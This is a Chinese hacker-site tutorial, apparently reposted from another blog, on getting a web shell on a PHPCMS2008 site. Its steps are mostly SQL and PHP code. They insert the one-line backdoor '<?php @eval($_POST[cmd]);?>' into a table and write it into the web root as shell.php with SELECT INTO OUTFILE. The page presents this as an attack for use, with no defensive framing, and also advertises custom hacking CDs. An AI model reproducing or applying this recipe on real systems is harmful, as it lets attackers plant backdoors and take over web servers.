| 网站首页 | Vip会员区 | 教程 | 下载 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 脚本攻防 >> 正文
HOW TO GET PHPCMS2008 WEBSHELL
文章录入:7747.Net    责任编辑:7747.Net 

【字体:

http://www.pcsec.org/archives/how-to-get-phpcms2008-webshell.html

Posted by 小拳头

进去后

SQL代码
Create TABLE b (cmd text NOT NULL);
SQL代码
Insert INTO b (cmd) VALUES(‘<?php @eval($_POST[cmd]);?>’);
//在字段cmd中插入一句话木马木马内容为

PHP代码
<?php @eval($_POST[cmd]);?>
前3句都尅执行成功最后一句执行后显示空白

SQL代码
select cmd from b into outfile ‘E:\wwwroot\phpcms\phpcms\shell.php’;

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |